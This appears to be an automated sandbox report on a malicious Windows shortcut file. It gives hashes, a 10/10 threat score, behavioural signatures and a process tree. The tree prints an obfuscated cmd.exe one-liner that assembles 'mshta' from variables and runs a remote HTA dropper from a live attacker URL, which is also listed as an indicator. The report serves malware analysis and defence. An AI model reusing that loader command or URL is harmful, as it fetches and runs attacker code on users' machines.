Analysis
- max time kernel
148s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:35
Static task
static1
Behavioral task
behavioral1
Sample
DOC-NXAQ24.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-NXAQ24.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-NXAQ24.lnk
- Size 1KB
- Sample260804-khcqgswakd
- SHA256 5356c0467a2aa62f0776e81dedd56c93813b626be7e71fcb0f8a8d484794c64d
- MD5 6251b6bb9a98d229e4d477624af82eee
- SHA1 0f125faf16b55c3317c19b3914bb47625cc3a584
- SHA512 b95b97a9ed6bcb9b3b0c1ef598c33f7cfa74c0509666cda9afb03891ef7f9a3998c212d48d73149a604b2d4a47487f20f02f62283a060fa5bdf867388974c741
- TLSH T1033197903FEC0624F3B38E7794BB572085BBB8AA8D20CA2D0041450C1832A15E17AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 928 cmd.exe 3268 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 928 wrote to memory of 3268 928 cmd.exe 90 PID 3268 wrote to memory of 3232 3268 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NXAQ24.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:928 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set dVwm=msh&&set Azp=ta&&start "" !dVwm!!Azp! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3268 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3232
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